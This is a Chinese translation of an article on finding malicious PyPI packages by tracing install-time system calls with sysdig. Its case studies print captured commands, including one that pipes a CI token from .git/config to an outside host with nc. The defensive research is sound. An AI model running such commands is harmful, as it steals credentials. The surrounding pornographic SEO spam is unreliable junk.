精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

在PyPI上尋找惡意程序包

安全
大約一年前,Python軟件基金會(Python Software Foundation)發起了一個信息請求(RFI)活動,討論如何檢測上傳到PyPI的惡意程序包。

大約一年前,Python軟件基金會(Python Software Foundation)發起了一個信息請求(RFI)活動,討論如何檢測上傳到PyPI的惡意程序包。無論是接管廢棄的程序包、在流行的庫中誤植域名(Typosquatting),還是使用憑證填充劫持程序包,很明顯,這是一個影響幾乎每一個程序包管理器的實際問題。誤植域名(Typosquatting),也稱作URL劫持,假URL等,是一種域名搶注的形式,常常會導致品牌劫持。這種劫持的方式通常有賴于用戶在瀏覽器中輸入網址時,犯下諸如錯誤拼寫等錯誤。用戶一旦不小心輸入了一個錯誤的網址,便有可能被導向任何一個其他的網址(比如說一個域名搶注者運營的網站)。

事實上,像PyPI這樣的程序包管理器是幾乎所有公司都依賴的關鍵基礎設施。關于這個主題,我可以寫好幾天,但是我現在只寫這篇xkcd就夠了。

這是我感興趣的領域,因此我對如何處理此問題提出了自己的想法。但還有一件事困擾我:考慮安裝程序包后會發生什么。

盡管對于某些設置活動可能是必需的,但應始終使用相關查看工具來查看諸如在pip安裝過程中建立網絡連接或執行命令之類的事情,因為它沒有給開發人員太多機會在糟糕的事情發生之前檢查代碼。

我想對此做進一步的研究,因此在本文中,我將逐步介紹如何安裝和分析PyPI中的每個程序包以尋找惡意活動。

如何發現惡意庫

為了在安裝過程中運行任意命令,開發者通常會將代碼添加到程序包中的setup.py文件中,你可以在此存儲庫中看到一些示例。

在更高層次上講,你可以執行以下兩項操作來查找潛在的惡意依賴項:你可以查看代碼中的不良內容(靜態分析),或者危險地安裝它們看看會發生什么(動態分析)。

雖然靜態分析非常有趣(我發現了npm上使用手工grep的惡意程序包),但在這篇文章中,我將重點關注動態分析。畢竟,動態分析的能力更加強大,因為你看到的是實際發生的事情,而不是只尋找可能發生的惡意行為。

那么我們到底在尋找什么呢?

重要事情如何完成

通常,任何重要的事情在發生時都由內核完成。希望通過內核執行重要操作的普通程序(如pip)是通過使用syscall來完成的。使用syscall可以完成打開文件,建立網絡連接和執行命令的所有操作!你可以點此了解到更多的信息。

這意味著,如果我們可以在安裝Python程序包期間系統調用,則可以查看是否發生了任何可疑事件。好處是,代碼的混淆程度無關緊要,我們將看到實際發生的情況。

需要注意的是,系統調用的想法并不是我想出來的。自2017年以來,亞當·鮑德溫(Adam Baldwin) 等人一直在討論這個問題。喬治亞理工學院的研究人員發表了一篇很好的論文采用了同樣的方法。老實說,本文的大部分內容只是試圖復制他們的想法。

因此,我們想要知道系統調用具體是如何做到這一點呢?

用Sysdig查看系統調用

Sysdig 是一個超級系統工具,比 strace、tcpdump、lsof 加起來還強大??捎脕聿东@系統狀態信息,保存數據并進行過濾和分析。使用 Lua 開發,提供命令行接口以及強大的交互界面。

有許多旨在讓你查看系統調用的工具,本文中使用的是sysdig,因為它既提供結構化輸出,又提供了一些非常好的過濾功能。

為了實現這一點,在啟動安裝程序包的Docker容器時,我還啟動了一個sysdig進程,該進程僅監控該容器中的事件。我也過濾掉了要從pypi.org或files.pythonhosted.com進行的網絡讀/寫操作,因為我不想用與程序包下載相關的流量來填充日志。

通過捕獲系統調用的方法,我不得不解決另一個問題:如何獲取所有PyPI程序包的列表。

獲取Python包

幸運的是,PyPI有一個稱為“簡單API”的API,它也可以被認為是“一個非常大的HTML頁面,其中包含指向每個程序包的鏈接”,它簡單、干凈而且比我可能會寫的任何HTML都要好。

我們可以抓取這個頁面并使用pup解析所有鏈接,從而為我們提供約268000個程序包:

在這個測試中,我只關心每個程序包的最新版本。較舊的版本中可能埋藏著惡意版本的程序包,但AWS賬單不會自己承擔。

我最終得到了一個看起來像這樣的管道:

簡而言之,我們將每個程序包名稱發送到一組EC2實例(我希望將來使用Fargate或其他東西,但我也不知道Fargate),從PyPI獲取一些關于程序包的元數據,然后開始sysdig以及一系列的容器pip安裝程序包,系統調用和網絡流量被收集。然后,將所有數據發送到S3,以供future-Jordan處理。

這個過程如下所示:

查看結果

一旦完成上面的步驟,我將在一個S3存儲桶中存儲大約1TB的數據,覆蓋大約245000個程序包。一些程序包沒有發布的版本,一些程序包具有各種處理錯誤,但是這似乎是一個很好的示例。

以下是具體分析過程

我合并了元數據和輸出,得到如下的一系列JSON文件:

然后,我編寫了一系列腳本來開始匯總數據,以試圖了解什么是良性的,什么是惡性的。讓我們深入研究一下這些輸出結果。

網絡請求

在安裝過程中,程序包需要建立網絡連接的原因有很多,他們可能需要下載合法的二進制組件或其他資源,這可能是一種分析形式,或者可能正試圖從系統中竊取數據或憑據。

結果發現,有460個數據程序包連接到109個獨立的主機,就像上面提到的文章一樣,很多這樣的程序包都是由于程序包共享了網絡連接的依賴關系而產生的??梢酝ㄟ^映射依賴關系來過濾掉它們,但在本文的示范中我還沒有這樣做,這是安裝過程中看到的DNS請求明細。

命令執行

像網絡連接一樣,在安裝過程中,程序包有合理的理由運行系統命令。這可能是編譯本機二進制文件,設置正確的環境等。

查看我們的樣本集,發現60725個程序包在安裝過程中正在執行命令。就像網絡連接一樣,我們必須牢記,其中許多是下游依賴項(運行命令的程序包)的結果。

有趣的程序包

正如預期的那樣,經過深入研究結果,大多數網絡連接和命令似乎都是合法的。但也有一些奇怪行為的例子,我想列舉出來作為案例研究,以說明這種類型的分析是多么有用。

(1) i-am-malicious

一個名為i-am-malicious的程序包似乎是一個惡意程序包的概念驗證,以下是一些有趣的細節,使我們認為該程序包值得研究:

  1.   "dns": [{ 
  2.           "name": "gist.githubusercontent.com", 
  3.           "addresses": [ 
  4.             "199.232.64.133" 
  5.           ] 
  6.     }] 
  7.   ], 
  8.   "files": [ 
  9.     ... 
  10.     { 
  11.       "filename": "/tmp/malicious.py", 
  12.       "flag": "O_RDONLY|O_CLOEXEC" 
  13.     }, 
  14.     ... 
  15.     { 
  16.       "filename": "/tmp/malicious-was-here", 
  17.       "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC" 
  18.     }, 
  19.     ... 
  20.   ], 
  21.   "commands": [ 
  22.     "python /tmp/malicious.py" 
  23.   ] 

我們已經知道這里發生了什么,可以看到一個到gist.github.com的連接,正在執行一個Python文件,正在創建一個名為/tmp/malicious-was-here的文件。當然,這正是setup.py中所發生的事情:

正在討論的malicious.py只是向/tmp/malicious-was-here添加了一個“我曾在這里”類型消息,表明這確實是一個概念驗證。

(2) maliciouspackage

另一個自稱為惡意程序的程序包則有創意地命名為maliciouspackage,它的攻擊能力要稍高一些。以下是相關輸出:

  1.   "dns": [{ 
  2.       "name": "laforge.xyz", 
  3.       "addresses": [ 
  4.         "34.82.112.63" 
  5.       ] 
  6.   }], 
  7.   "files": [ 
  8.     { 
  9.       "filename": "/app/.git/config", 
  10.       "flag": "O_RDONLY" 
  11.     }, 
  12.   ], 
  13.   "commands": [ 
  14.     "sh -c apt install -y socat", 
  15.     "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566", 
  16.     "grep ci-token /app/.git/config", 
  17.     "nc laforge.xyz 5566" 
  18.   ] 

和前面一樣,根據輸出結果我們可以對正在發生的事情有了一個很好的了解。在本例中,程序包似乎從.git/config文件中提取了一個令牌,并將其上傳到laforge.xyz,我們發現確實是這樣:

(3) easyIoCtl

easyIoCtl程序包確實是一個有趣的程序包。它聲稱提供了“遠離無聊的IO操作的抽象”,但我們看到下面的命令正在執行:

結果很可疑,但并不是非常的有攻擊性。然而,這是一個展示跟蹤系統調用攻擊能力的完美示例。下面是該項目setup.py中的相關代碼:

有這么多的混淆,很難知道發生了什么。傳統的靜態分析可能會捕獲對exec的調用,但僅此而已。

要查看它在做什么,我們可以用print替換exec,結果如下:

這正是我們記錄的命令,表明即使代碼混淆也不會影響我們的結果,因為我們是在系統調用級別進行監控。

當我們發現惡意程序包時會發生什么?

這個問題有必要簡要討論一下,當我們發現惡意程序包時,我們能做些什么。要做的第一件事是通知PyPI開發者,讓他們可以得到這個程序包。這可以通過聯系security@python.org.1來實現

之后,我們可以使用BigQuery上的PyPI公共數據集查看程序包被下載了多少次。

這是一個示例查詢,用于查找在過去30天內安裝了惡意軟件包的次數:

運行這個查詢可以查出它被下載400次以上:

maliciouspackage下載

總結

第一步只是初步了解了整個PyPI,通過查看數據,我沒有發現有任何程序包做了明顯的有害活動,而且也沒有看起來惡意的名稱,雖然情況很樂觀,但是我總是有可能錯過某些事情,或者將來會發生。如果你有興趣深入研究數據,你可以在這里找到它。

接下來,我將設置一個Lambda函數來使用PyPI的RSS feed獲取最新的程序包更改,每個更新后的程序包都將經過相同的處理,并在檢測到可疑活動時發送警報。

我仍然不喜歡僅通過用戶 pip install就可以在用戶系統上運行任意命令,我知道的大多數用例都是良性的,但帶來的風險也必須考慮。希望通過越來越多地監控各種程序包管理器,我們可以在惡意活動產生重大影響之前識別其跡象。

 

責任編輯:趙寧寧 來源: 嘶吼網
相關推薦

2016-12-26 15:28:34

惡意程序PowerShellA程序

2013-03-07 09:26:47

2012-10-24 17:21:46

2011-03-30 09:20:08

2011-08-11 11:26:11

2015-01-06 11:37:58

惡意程序查殺Rootkit Hun

2012-06-04 09:16:39

2017-10-10 14:41:38

Linux

2012-07-25 09:25:38

惡意程序蠕蟲病毒

2010-04-07 15:53:46

2009-05-09 18:22:33

2012-07-10 16:40:23

2021-04-28 09:35:16

惡意程序惡意代碼、攻擊

2012-11-30 13:02:13

2022-08-16 19:45:03

惡意軟件加密

2021-07-03 09:26:49

黑客微軟惡意程序

2013-10-25 13:49:27

2015-09-15 13:49:41

2014-07-04 11:09:14

2014-03-06 17:24:30

點贊
收藏

51CTO技術棧公眾號

欧美人妖在线| 福利一区视频| 国产偷国产偷亚洲高清人白洁| 日韩男女性生活视频| 91免费在线看片| 2020最新国产精品| 色婷婷亚洲婷婷| 最新欧美日韩亚洲| 婷婷五月综合久久中文字幕| 日韩精品免费视频人成| 久久色在线播放| 亚洲永久无码7777kkk| 国产精品一区二区免费福利视频| 亚洲欧美日韩电影| 免费在线国产精品| www.蜜臀av| 日韩电影在线免费观看| 欧美黑人xxx| 娇妻被老王脔到高潮失禁视频| 国产在线不卡一区二区三区| 欧美午夜精品久久久久久浪潮| 亚洲视频sss| 天天av天天翘| 国产综合一区二区| 欧美孕妇毛茸茸xxxx| 欧美三级日本三级| 奇米色欧美一区二区三区| 日韩欧美成人激情| 日韩精品你懂的| 国产伦理精品| 亚洲精选视频免费看| 欧美亚州在线观看| 色婷婷激情五月| 国产一区二区在线影院| 国产mv久久久| 日本一级片免费看| 欧美激情性爽国产精品17p| 中文字幕亚洲精品| 高潮毛片无遮挡| 久久精品色综合| 日韩精品专区在线| 亚洲制服在线观看| 欧美视频精品| 欧美三级韩国三级日本一级| 国产天堂在线播放| 中文字幕高清在线播放| 欧美日韩国产一区二区| 久久av综合网| 欧美家庭影院| 一区二区三区精品在线观看| 亚洲一区 在线播放| 黄色的网站在线观看| 国产精品青草久久| 亚洲国产精品视频一区| 国产毛片av在线| 国产午夜精品理论片a级大结局| 精品一区二区三区免费毛片| 少妇精品视频一区二区| 成人精品一区二区三区中文字幕| 99久久99久久精品国产片| 国产有码在线观看| 国产一区二区三区免费| 91牛牛免费视频| 99草在线视频| 成人午夜又粗又硬又大| 国产日韩欧美一区二区| 香蕉av在线播放| 久久精品亚洲乱码伦伦中文| 青青草成人激情在线| 国产高清视频在线播放| 国产精品日产欧美久久久久| 自拍偷拍视频在线| 欧美另类tv| 欧美日韩国产综合新一区 | 国产精品v片在线观看不卡| 欧美激情黑白配| 青草av.久久免费一区| 国产欧美日韩中文字幕| av片免费播放| 成人av电影在线| 欧美极品一区| 免费在线毛片网站| 亚洲成在人线在线播放| 精品视频一区二区在线| 国产亚洲精彩久久| 日韩视频在线永久播放| 中文文字幕文字幕高清| 色综合天天爱| 欧美国产日韩xxxxx| 麻豆久久久久久久久久| 蜜臀精品久久久久久蜜臀| 亚洲综合一区二区不卡| 神宫寺奈绪一区二区三区| 国产拍揄自揄精品视频麻豆| 国产成人精品免费看在线播放| 高h视频在线播放| 色婷婷久久久久swag精品| www.超碰97.com| 日本欧美韩国国产| 日韩中文视频免费在线观看| 国产精品99无码一区二区| 天堂成人国产精品一区| 91久久精品美女高潮| 青梅竹马是消防员在线| 亚洲欧美国产三级| 国产精品无码av无码| 白嫩亚洲一区二区三区| 亚洲另类激情图| 加勒比婷婷色综合久久| 日韩一区欧美二区| 福利视频久久| 日本美女在线中文版| 狠狠躁夜夜躁久久躁别揉| 国产永久免费网站| 久久av网址| 久久久久久久久久久亚洲| 在线观看xxxx| 91婷婷韩国欧美一区二区| 蜜臀在线免费观看| 欧美黄色三级| 亚洲第一中文字幕| 破处女黄色一级片| 精品一区二区三区香蕉蜜桃 | 夜夜夜夜夜夜操| 你懂的视频欧美| 性欧美xxxx视频在线观看| 国产精品久久久久久在线| 久久精品一二三| 欧美黑人经典片免费观看| 日韩在线精品强乱中文字幕| 一色桃子一区二区| 国产又黄又粗又爽| 国产精品一二三四区| 亚洲一区精彩视频| 三上悠亚亚洲一区| 日韩理论片久久| 日本一区二区免费在线观看| 国产成人av电影在线观看| 日本久久高清视频| 日韩免费大片| 自拍偷拍亚洲在线| 免费av中文字幕| 久久色在线视频| av动漫在线观看| 欧美黑人巨大videos精品| 久久久久久免费精品| 精品人妻一区二区三区四区不卡| 国产精品高潮久久久久无| 久久婷婷综合色| 成人久久综合| 国产精品偷伦一区二区 | 超碰在线亚洲| 久久久久久久久久av| 精品国产99久久久久久宅男i| 国产精品成人免费精品自在线观看| 免费看a级黄色片| 欧美一区二区三区高清视频| 国产精品电影网站| 岛国视频免费在线观看| 在线观看国产精品网站| 国产传媒国产传媒| 久久国产精品99精品国产| 一区二区高清视频| 久久99成人| 欧美放荡办公室videos4k| 日本韩国在线观看| 亚洲福中文字幕伊人影院| 7788色淫网站小说| 99热精品在线观看| 色狠狠久久av五月综合|| 欧美一区二区三区婷婷| 另类视频在线观看| 后入内射欧美99二区视频| 欧美日韩亚洲精品内裤| 亚洲性猛交xxxx乱大交| 日韩精品福利片午夜免费观看| 国产亚洲无码精品| 色婷婷色综合| 亚洲一区二区三| 国产网红女主播精品视频| 日韩av在线免费播放| 中文字幕黄色片| 在线中文免费视频| 一本色道久久综合亚洲aⅴ蜜桃| 精品无人区无码乱码毛片国产| 日韩电影网1区2区| 最近中文字幕免费mv| 99a精品视频在线观看| 9.1国产丝袜在线观看| 九色蝌蚪在线| 欧美一区二区三区精品| 日韩欧美三级视频| 国产精品私人自拍| 911亚洲精选| 久久综合五月| 成人午夜视频免费观看| 国产成人精品三级高清久久91| 成人国内精品久久久久一区| 嗯啊主人调教在线播放视频 | 91精品免费看| a级片在线免费| 神马久久久久久| 天天操天天插天天射| 欧美日韩一区二区在线观看 | 亚洲女优在线| 欧美日韩一区二区三区电影| 香蕉久久精品| 91精品国产一区二区三区动漫| 爱情电影社保片一区| 色在人av网站天堂精品| 97人人在线| 亚洲精品视频免费在线观看| a级片在线免费看| 欧美在线观看视频在线| 日韩精品一区二区三| 中文字幕一区日韩精品欧美| 久久精品老司机| 成人小视频在线| www.色就是色.com| 日本欧美在线观看| 久久久久久久中文| 欧美三区在线| 秋霞在线一区二区| 成人羞羞网站| 欧美成人蜜桃| 欧美尿孔扩张虐视频| 岛国视频一区| 粉嫩一区二区三区在线观看| 国产精品日本精品| 日韩免费福利视频| 91国内免费在线视频| 黄色美女视频在线观看| 久久在线免费观看视频| 日本电影全部在线观看网站视频 | 最新国产在线观看| 亚洲欧美成人网| 天堂在线中文资源| 亚洲国产精品va在线看黑人动漫| 国产伦精品一区二区三区四区| 欧美影片第一页| 亚洲第一网站在线观看| 黑丝美女久久久| 日本三级黄色大片| 亚洲成人午夜电影| 国产一级aa大片毛片| 亚洲国产精品人人做人人爽| 国产稀缺精品盗摄盗拍| 国产精品成人在线观看| 蜜桃av.com| 亚洲欧美怡红院| www.xxxx日本| 综合亚洲深深色噜噜狠狠网站| 大吊一区二区三区| 国产精品成人在线观看| 久久福利免费视频| 亚洲欧美区自拍先锋| 欧美三级日本三级| 亚洲福利电影网| 日韩乱码一区二区| 欧美性xxxx极品hd欧美风情| 日本一区二区三区精品| 欧美在线免费观看视频| 最近中文字幕av| 欧美日韩在线三区| 99在线精品视频免费观看软件| 欧美一区二区在线看| 亚洲第一精品网站| 亚洲电影免费观看高清| 精品视频一二区| 最新中文字幕亚洲| 中文字幕在线观看网站| 午夜精品久久久久久久99热浪潮 | 美国黄色一级视频| 91麻豆蜜桃一区二区三区| 精品无人区无码乱码毛片国产| 欧美韩国一区二区| 国产十六处破外女视频| 亚洲va欧美va人人爽| 午夜精品久久久久久久蜜桃| 欧美精品高清视频| 欧美在线精品一区二区三区| 亚洲视频综合网| 黄色av电影在线播放| 欧美激情亚洲另类| 蜜桃视频成人m3u8| 51国偷自产一区二区三区的来源| 日韩精品丝袜美腿| 一本一生久久a久久精品综合蜜 | 久久久久久久久亚洲| 爱情电影社保片一区| 91亚洲精品久久久| 无码日韩精品一区二区免费| 亚洲精品国产精品国自产观看| 女人色偷偷aa久久天堂| 午夜精品久久久久久久无码| 蜜桃91丨九色丨蝌蚪91桃色| 国模大尺度视频| 国产欧美日韩在线| 国产一级免费av| 欧美亚洲图片小说| 全国男人的天堂网| 日韩视频―中文字幕| 成人观看网址| 3d动漫啪啪精品一区二区免费 | 婷婷视频在线播放| 亚洲一区区二区| 日韩高清在线一区二区| 久久蜜桃香蕉精品一区二区三区| 在线免费观看亚洲视频| 日本黄色一区二区| 日韩一区二区三区在线观看视频| 在线观看亚洲区| 亚洲美女尤物影院| 99热在线播放| 久久麻豆精品| 日韩毛片在线免费看| 国产不卡高清在线观看视频| 国产亚洲精品精品精品| 日韩欧美成人精品| 成人午夜视频一区二区播放| 色一区av在线| 欧美日韩电影免费看| 国产美女精品在线观看| 天天射—综合中文网| 狠狠操精品视频| jvid福利写真一区二区三区| 外国一级黄色片| 欧美蜜桃一区二区三区 | 久久视频在线观看免费| 国产v综合v| 欧美系列一区| 午夜在线一区| 女同性恋一区二区三区| 亚洲一区二区五区| 国产夫妻在线观看| 欧美成人免费va影院高清| 久久亚洲资源中文字| 亚洲国产激情一区二区三区| 日本伊人午夜精品| 日本爱爱爱视频| 欧美在线免费视屏| eeuss影院www在线观看| 国产精品免费一区豆花| 成人高清电影网站| 国产野外作爱视频播放| 国产蜜臀97一区二区三区| 国产又粗又猛又黄视频| 亚洲欧美精品中文字幕在线| 中文字幕av一区二区三区佐山爱| 久久精品日产第一区二区三区乱码 | 免费成人深夜夜行网站视频| 精品一区二区日韩| 欧美手机在线观看| 777午夜精品视频在线播放| 麻豆影视国产在线观看| 川上优av一区二区线观看| 亚洲精品成人无限看| 中文字幕av一区二区三区人妻少妇| 亚洲黄色在线视频| 国产综合无码一区二区色蜜蜜| 久久久久久网站| 夜色77av精品影院| 国产免费999| 亚洲欧美一区二区久久| 亚洲av无码国产精品永久一区| 久久频这里精品99香蕉| 欧美久久香蕉| 色一情一乱一伦一区二区三区日本| 国产精品美女久久久久久2018 | 亚洲国产成人av在线| 三级中文字幕在线观看| 日韩欧美亚洲区| 久久99国产精品久久99果冻传媒| 欧美另类视频在线观看| 亚洲国产成人精品一区二区| 自拍一区在线观看| 一区二区不卡在线| 成人精品一区二区三区中文字幕| 国产黄色免费观看| 久久国产一区二区三区| 国产成人澳门| 亚洲36d大奶网| 亚洲国产人成综合网站| 黄色的视频在线免费观看| 成人久久久久久久| 亚洲国内欧美| 中文字幕在线1| 欧美一区二区三区免费在线看 | 在线观看亚洲免费视频| 日韩欧美黄色动漫| 国产素人视频在线观看| 久久久久资源| 国产一区二区美女诱惑| 久久一区二区三区视频| 色妞色视频一区二区三区四区| 嗯用力啊快一点好舒服小柔久久| 国产av无码专区亚洲精品| 亚洲欧美日韩电影| 黄色av免费在线看| 国产一区二区三区四区五区加勒比|